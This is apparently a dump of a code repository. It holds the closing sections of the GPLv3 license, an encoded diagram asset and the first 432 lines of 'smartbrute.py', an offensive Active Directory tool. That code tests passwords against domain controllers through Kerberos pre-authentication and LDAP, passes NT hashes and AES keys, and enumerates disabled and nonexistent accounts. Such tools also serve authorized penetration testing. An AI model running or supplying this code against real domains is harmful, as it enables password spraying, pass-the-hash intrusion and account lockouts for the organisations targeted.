404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/.assets/graph_help.drawio:
--------------------------------------------------------------------------------
1 | rLzXsuJIEwb4NP/lbsibS0BIAi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GWuT2LkpNkD0IKo3yyIyCP6h6Cqoo7smouhDaj8DqBhhvUaEXuQvCgYnKvSi8j6wfoOge4P4g6yeRRd5hHZ+LLPyHyDrhADOvEmKSIjpNNklZ6Odt0wkH2UFP89Z2fYvrH2LqZ1gN6ml+vvcVVuuz+MgP8p4+g35uMSAM0M8DMUBxNxjA71B+/B4BYh4GglumaVuOfRHzWYTZ3s5N9yz2KM3dyIlCPRhHUXxu9O08r+deg24CSxN9P3N25eUbpJjf6POV9uaTXnXW2faivlyEML43N6FL7e1nr7e1V5f7Mle3ovL6kdVJ0/bSDPQs88xT48ALgh+i6B1gSJJhMOzGwHyPtVsjgsT4N+ADUxEVqWl/QHFzPXXsf9chTt4HZGoH4ASO37/er4cWeWNfWhvx+NBG6Ha7gnCr4teZ/N6SPEjfSZq+4aj40/X9No8V5sHh8XPS7Xb4Dnc7JzyPYZ83J8StDaaYp8/JbcJrb6eGnUbZldml7ylYFuvhd1N28cdIjn+V5/fuwFfCKD3owa3D/r84tf9CrPD/33jrU7e/wlv/PqCg8K8Iittk3P+SotJ3QrHnz8ltnu6Pon4iKJgvab25jzDod9zxCXz6cbz4iUyY/0mCe751GnltwHtxCOyPcXbp5US+zze+g9D1TX4CVbfZxM8x/wLfpXt3wmMMo7o8/0SeRt7J736upl8e9tU1/etFzk+0EOcg9D/Hyj9rSn4OWvgToPXlYPK33NqTnc9HoEU9xEuR2K2XIt/ZvtMgHualiA9lD38tbL8W/P62En19i0g8BrZ3om2C/xi5uumLJm9pwvsKsEerAPmHFPxupICgPsty/xwpuM3VvqYb/jfigDvG4gvEAfTvofIP9JS/ndf7uMrTn0bW3q/sPzilQNxmlNvl+k+wJV9iPY4hqK+3Hkewf2zJb2dLmI/aEuYhtoRhbm0J9sm25BlJ7y/HYH+vfMXHYcs+BLYsf8vl3u8heXSwxn8Etn/Cs9+y2ol4jLW9sxKNfxC2t7kP4rYk6JexQLhMI7Rw/Pp1YGuuHFk2+sa/AA==
--------------------------------------------------------------------------------
/smartbrute.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : smartbrute.py
4 | # Authors : Shutdown (@_nwodtuhs) & Podalirius (@podalirius_)
5 | # Date created : 16/04/2021 (dd/mm/yyyy)
6 | # Python Version : 3.*
7 |
8 | import argparse
9 | import os
10 | import re
11 | import socket
12 | import random
13 | import ssl
14 | import struct
15 | import datetime
16 | import time
17 | import ldap3
18 | from six import b
19 | from binascii import unhexlify
20 | from ldap3.protocol.formatters.formatters import format_sid
21 | from pyasn1.codec.der import decoder, encoder
22 | from pyasn1.error import PyAsn1Error
23 | from pyasn1.type.univ import noValue, Sequence
24 | from pyasn1.type.useful import GeneralizedTime
25 | from impacket.smbconnection import SMBConnection, SessionError
26 | from impacket.ldap import ldap, ldapasn1
27 | from impacket.ntlm import compute_nthash
28 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
29 | from impacket.krb5 import constants
30 | from impacket.dcerpc.v5 import scmr
31 | from impacket.dcerpc.v5.transport import SMBTransport
32 | from impacket.krb5.asn1 import AS_REQ, KRB_ERROR, AS_REP, AP_REQ, seq_set_iter, PA_ENC_TS_ENC, EncryptedData, METHOD_DATA, ETYPE_INFO2, ETYPE_INFO, Authenticator, TGS_REP, seq_set
33 | from impacket.krb5.types import KerberosTime, Principal,Ticket
34 | from impacket.krb5.ccache import CCache
35 | from impacket.krb5.crypto import Key, _enctype_table
36 | from impacket.krb5.kerberosv5 import KerberosError, getKerberosTGT, getKerberosTGS
37 | from rich.console import Console
38 | from rich.columns import Columns
39 | from rich import box
40 | from rich.table import Table
41 | from rich.live import Live
42 | try:
43 | from neo4j.v1 import GraphDatabase
44 | except ImportError:
45 | from neo4j import GraphDatabase
46 | from neo4j.exceptions import AuthError, ServiceUnavailable
47 | import warnings
48 |
49 | warnings.filterwarnings("ignore", category=DeprecationWarning)
50 |
51 | # sprahound's global vars
52 | ERROR_SUCCESS = (0, "")
53 | ERROR_NEO4J_NON_EXISTENT_NODE = (102, "Node does not exist in database")
54 | ERROR_NO_PATH = (103, "No admin path from this node")
55 |
56 | smb_error_status = {
57 | "STATUS_ACCOUNT_DISABLED":"disabled",
58 | "STATUS_ACCOUNT_EXPIRED":"expired",
59 | "STATUS_ACCOUNT_RESTRICTION":"STATUS_ACCOUNT_RESTRICTION",
60 | "STATUS_INVALID_LOGON_HOURS":"STATUS_INVALID_LOGON_HOURS",
61 | "STATUS_INVALID_WORKSTATION":"STATUS_INVALID_WORKSTATION",
62 | "STATUS_LOGON_TYPE_NOT_GRANTED":"STATUS_LOGON_TYPE_NOT_GRANTED",
63 | "STATUS_PASSWORD_EXPIRED":"pwd expired",
64 | "STATUS_PASSWORD_MUST_CHANGE":"pwd must change",
65 | "STATUS_ACCESS_DENIED":"access denied"
66 | }
67 |
68 | VERSION="0.1"
69 |
70 |
71 | class KERBEROS(object):
72 | """docstring for Kerberos."""
73 |
74 | def __init__(self):
75 | super(KERBEROS, self).__init__()
76 | self.salts = {}
77 | self.principal_unknown = []
78 | self.disabled_account = []
79 | self.response_to_big = []
80 | self.server_time = ""
81 |
82 |
83 | def get_machine_name(self, kdc_ip, domain):
84 | if kdc_ip is not None:
85 | s = SMBConnection(kdc_ip, kdc_ip)
86 | else:
87 | s = SMBConnection(domain, domain)
88 | try:
89 | s.login("", "")
90 | except Exception:
91 | if s.getServerName() == "":
92 | raise Exception("Error while anonymous logging into %s" % domain)
93 | else:
94 | s.logoff()
95 | return s.getServerName()
96 |
97 |
98 | def send_receive(self, data, host, kdcHost, tproto):
99 | if kdcHost is None:
100 | targetHost = host
101 | else:
102 | targetHost = kdcHost
103 | if tproto == "tcp":
104 | messageLen = struct.pack("!i", len(data))
105 | logger.debug("Trying to connect to KDC at %s using TCP" % targetHost)
106 | try:
107 | af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
108 | s = socket.socket(af, socket.SOCK_STREAM, socket.IPPROTO_TCP)
109 | s.connect(sa)
110 | except socket.error as e:
111 | raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
112 | s.sendall(messageLen + data)
113 | recvDataLen = struct.unpack("!i", s.recv(4))[0]
114 | r = s.recv(recvDataLen)
115 | while len(r) < recvDataLen:
116 | r += s.recv(recvDataLen - len(r))
117 | elif tproto == "udp":
118 | logger.debug("Trying to connect to KDC at %s using UDP" % targetHost)
119 | try:
120 | af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
121 | s = socket.socket(af, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
122 | s.connect(sa)
123 | except socket.error as e:
124 | raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
125 | s.send(data)
126 | r = s.recv(8192)
127 | # we want the server time
128 | for i in decoder.decode(r):
129 | if type(i) == Sequence:
130 | for k in vars(i)["_componentValues"]:
131 | if type(k) == GeneralizedTime:
132 | self.server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ")
133 | try:
134 | krbError = KerberosError(packet=decoder.decode(r, asn1Spec=KRB_ERROR())[0])
135 | except:
136 | return r
137 | if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
138 | raise krbError
139 | return r
140 |
141 |
142 | def get_users_salts(self, target, domain, user, rc4_key, etype, tproto):
143 | logger.debug("Getting Kerberos salts for %s through an AS-REQ" % user)
144 | asReq = AS_REQ()
145 |
146 | domain = domain.upper()
147 | serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
148 | clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
149 |
150 | # need to remove the PAC request for UDP to work and not have the KDC throw KRB_ERR_RESPONSE_TOO_BIG
151 | # pacRequest = KERB_PA_PAC_REQUEST()
152 | # pacRequest["include-pac"] = True
153 | # encodedPacRequest = encoder.encode(pacRequest)
154 |
155 | asReq["pvno"] = 5
156 | asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)
157 |
158 | # asReq["padata"] = noValue
159 | # asReq["padata"][0] = noValue
160 | # asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
161 | # asReq["padata"][0]["padata-value"] = encodedPacRequest
162 |
163 | reqBody = seq_set(asReq, "req-body")
164 |
165 | opts = list()
166 | opts.append(constants.KDCOptions.forwardable.value)
167 | opts.append(constants.KDCOptions.renewable.value)
168 | opts.append(constants.KDCOptions.proxiable.value)
169 | reqBody["kdc-options"] = constants.encodeFlags(opts)
170 |
171 | seq_set(reqBody, "sname", serverName.components_to_asn1)
172 | seq_set(reqBody, "cname", clientName.components_to_asn1)
173 |
174 | if domain == "":
175 | raise Exception("Empty Domain not allowed in Kerberos")
176 |
177 | reqBody["realm"] = domain
178 |
179 | now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
180 | reqBody["till"] = KerberosTime.to_asn1(now)
181 | reqBody["rtime"] = KerberosTime.to_asn1(now)
182 | reqBody["nonce"] = random.getrandbits(31)
183 |
184 | if rc4_key == b"" or rc4_key is None:
185 | if etype == "rc4":
186 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
187 | elif etype == "aes128":
188 | supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
189 | elif etype == "aes256":
190 | supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
191 | else:
192 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
193 |
194 | seq_set_iter(reqBody, "etype", supportedCiphers)
195 |
196 | message = encoder.encode(asReq)
197 |
198 | try:
199 | r = self.send_receive(data=message, host=domain, kdcHost=target, tproto=tproto)
200 | except Exception as e:
201 | if str(e).find("KDC_ERR_ETYPE_NOSUPP") >= 0:
202 | logger.error("Kerberos throws ETYPE_NOSUPP, try setting another with --etype")
203 | elif str(e).find("KDC_ERR_CLIENT_REVOKED") >= 0:
204 | logger.debug("User (%s) is disabled, adding to the list" % user)
205 | self.disabled_account.append(user)
206 | elif str(e).find("KDC_ERR_C_PRINCIPAL_UNKNOWN") >= 0:
207 | logger.debug("User (%s) doesn't exist, adding to the list" % user)
208 | self.principal_unknown.append(user)
209 | else:
210 | logger.debug("Something went wrong: %s" % e)
211 | return False
212 |
213 | # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
214 | # "Do not require Kerberos preauthentication" set
215 | try:
216 | asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
217 | except:
218 | # Most of the times we shouldn't be here, is this a TGT?
219 | asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
220 |
221 | encryptionTypesData = dict()
222 | methods = decoder.decode(asRep["e-data"], asn1Spec=METHOD_DATA())[0]
223 | for method in methods:
224 | if method["padata-type"] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
225 | etypes2 = decoder.decode(method["padata-value"], asn1Spec=ETYPE_INFO2())[0]
226 | for etype2 in etypes2:
227 | try:
228 | if etype2["salt"] is None or etype2["salt"].hasValue() is False:
229 | salt = ""
230 | else:
231 | salt = etype2["salt"].prettyPrint()
232 | except PyAsn1Error:
233 | salt = ""
234 |
235 | encryptionTypesData[etype2["etype"]] = b(salt)
236 | elif method["padata-type"] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
237 | etypes = decoder.decode(method["padata-value"], asn1Spec=ETYPE_INFO())[0]
238 | for etype in etypes:
239 | try:
240 | if etype["salt"] is None or etype["salt"].hasValue() is False:
241 | salt = ""
242 | else:
243 | salt = etype["salt"].prettyPrint()
244 | except PyAsn1Error:
245 | salt = ""
246 |
247 | encryptionTypesData[etype["etype"]] = b(salt)
248 | return encryptionTypesData
249 |
250 |
251 | def pre_authentication(self, target, domain, user, password, etype, tproto, rc4_key=""):
252 | if user in self.principal_unknown:
253 | return False, ""
254 | elif user in self.disabled_account:
255 | return True, "disabled"
256 | else:
257 | # modified code from impacket/krb5/kerberosv5.py
258 | if isinstance(rc4_key, str):
259 | try:
260 | rc4_key = unhexlify(rc4_key)
261 | except TypeError:
262 | pass
263 |
264 |
265 | if rc4_key == b"" or rc4_key is None:
266 | if etype == "rc4":
267 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
268 | logger.debug("Logging in with domain, user, rc4 key for password (%s, %s, %s)" % (domain, user, password))
269 | elif etype == "aes128":
270 | supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
271 | logger.debug("Logging in with domain, user, aes128 key for password (%s, %s, %s)" % (domain, user, password))
272 | elif etype == "aes256":
273 | supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
274 | logger.debug("Logging in with domain, user, aes256 key for password (%s, %s, %s)" % (domain, user, password))
275 | else:
276 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
277 | logger.debug("Logging in with domain, user, rc4 key (%s, %s, %s)" % (domain, user, rc4_key))
278 |
279 | enc_type = supportedCiphers[0]
280 | cipher = _enctype_table[enc_type]
281 |
282 | # Pass the hash/aes key :P
283 | if rc4_key != b"" and isinstance(rc4_key, bytes):
284 | key = Key(cipher.enctype, rc4_key)
285 | else:
286 | if etype == "rc4":
287 | key = Key(cipher.enctype, compute_nthash(password))
288 | else:
289 | if user in self.salts.keys():
290 | salts = self.salts[user]
291 | else:
292 | salts = self.get_users_salts(target=target, domain=domain, user=user, rc4_key=rc4_key, etype=etype, tproto=tproto)
293 | # usually, salts are DOMAINuser, however, on Domain Controllers that went through a domain name change, fetching user slats is required
294 | # salts = {enc_type: "%s%s" % (domain.upper(), user)}
295 | if user in self.principal_unknown:
296 | return False, ""
297 | elif user in self.disabled_account:
298 | return False, "disabled"
299 | if not salts:
300 | logger.debug("Couldn't get salts for %s" % user)
301 | return False, ""
302 | else:
303 | self.salts[user] = salts
304 | logger.debug("Using salt: %s" % salts[enc_type].decode("utf-8"))
305 | key = cipher.string_to_key(password, salts[enc_type], None)
306 |
307 | # Let's build the timestamp
308 | timeStamp = PA_ENC_TS_ENC()
309 |
310 | now = datetime.datetime.utcnow()
311 | timeStamp["patimestamp"] = KerberosTime.to_asn1(now)
312 | timeStamp["pausec"] = now.microsecond
313 |
314 | # Encrypt the shyte
315 | encodedTimeStamp = encoder.encode(timeStamp)
316 |
317 | # Key Usage 1
318 | # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
319 | # client key (Section 5.2.7.2)
320 | encryptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
321 |
322 | encryptedData = EncryptedData()
323 | encryptedData["etype"] = cipher.enctype
324 | encryptedData["cipher"] = encryptedTimeStamp
325 | encodedEncryptedData = encoder.encode(encryptedData)
326 |
327 | asReq = AS_REQ()
328 |
329 | domain = domain.upper()
330 | serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
331 | clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
332 |
333 | asReq["pvno"] = 5
334 | asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)
335 |
336 | asReq["padata"] = noValue
337 | asReq["padata"][0] = noValue
338 | asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
339 | asReq["padata"][0]["padata-value"] = encodedEncryptedData
340 |
341 | reqBody = seq_set(asReq, "req-body")
342 |
343 | opts = list()
344 | opts.append( constants.KDCOptions.forwardable.value )
345 | opts.append( constants.KDCOptions.renewable.value )
346 | opts.append( constants.KDCOptions.proxiable.value )
347 | reqBody["kdc-options"] = constants.encodeFlags(opts)
348 |
349 | seq_set(reqBody, "sname", serverName.components_to_asn1)
350 | seq_set(reqBody, "cname", clientName.components_to_asn1)
351 |
352 | reqBody["realm"] = domain
353 |
354 | now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
355 | reqBody["till"] = KerberosTime.to_asn1(now)
356 | reqBody["rtime"] = KerberosTime.to_asn1(now)
357 | reqBody["nonce"] = random.getrandbits(31)
358 |
359 | seq_set_iter(reqBody, "etype", (int(cipher.enctype),))
360 |
361 | try:
362 | tgt = self.send_receive(data=encoder.encode(asReq), host=domain, kdcHost=target, tproto=tproto)
363 | if tgt is not None:
364 | return True, ""
365 | except Exception as e:
366 | if str(e).find("KDC_ERR_ETYPE_NOSUPP") >= 0:
367 | logger.error("Kerberos throws ETYPE_NOSUPP, try setting another with --etype")
368 | elif str(e).find("KDC_ERR_CLIENT_REVOKED") >= 0:
369 | logger.debug("User (%s) is disabled, adding to the list" % user)
370 | self.disabled_account.append(user)
371 | return False, "disabled"
372 | elif str(e).find("KRB_ERR_RESPONSE_TOO_BIG") >= 0:
373 | logger.debug("Raised KRB_ERR_RESPONSE_TOO_BIG for User (%s), adding to the list" % user)
374 | self.response_to_big.append(user)
375 | return False, "KRB_ERR_RESPONSE_TOO_BIG"
376 | elif str(e).find("KDC_ERR_C_PRINCIPAL_UNKNOWN") >= 0:
377 | logger.debug("User (%s) doesn't exist, adding to the list" % user)
378 | self.principal_unknown.append(user)
379 | elif str(e).find("KRB_AP_ERR_SKEW") >= 0:
380 | logger.debug("Raised KRB_AP_ERR_SKEW for User (%s), there is a time skew between the client and the server, adding to the list" % user)
381 | return False, "KRB_AP_ERR_SKEW"
382 | else:
383 | logger.debug("Something went wrong: %s" % e)
384 | return False, ""
385 |
386 |
387 | def LDAP_authentication(self, kdc_ip, tls_version, domain, user, password, rc4_key, aes_key, ccache_ticket, dc_host):
388 | # todo : check LDAP or LDAPS is open before connecting, if port is closed, ask the user if he's sure he's testing a domain controller
389 |
390 | if user is None:
391 | user = ""
392 | if domain is None:
393 | domain = ""
394 | if tls_version is not None:
395 | use_ssl = True
396 | port = 636
397 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
398 | else:
399 | use_ssl = False
400 | port = 389
401 | tls = None
402 |
403 | if ccache_ticket is not None:
404 | pass
405 |
406 | if isinstance(rc4_key, str):
407 | try:
408 | rc4_key = unhexlify(rc4_key)
409 | except TypeError:
410 | pass
411 |
412 | TGT = None
413 | TGS = None
414 |
415 | if ccache_ticket is not None:
416 | try:
417 | ccache = CCache.loadFile(ccache_ticket)
418 | except Exception as e:
419 | # No cache present
420 | logger.error(e)
421 | pass
422 | else:
423 | # retrieve domain information from CCache file if needed
424 | if domain == "":
425 | domain = ccache.principal.realm["data"].decode("utf-8")
426 | logger.debug("Domain retrieved from CCache: %s" % domain)
427 |
428 | if not dc_host:
429 | target = self.get_machine_name(kdc_ip, domain)
430 | else:
431 | target = dc_host
432 |
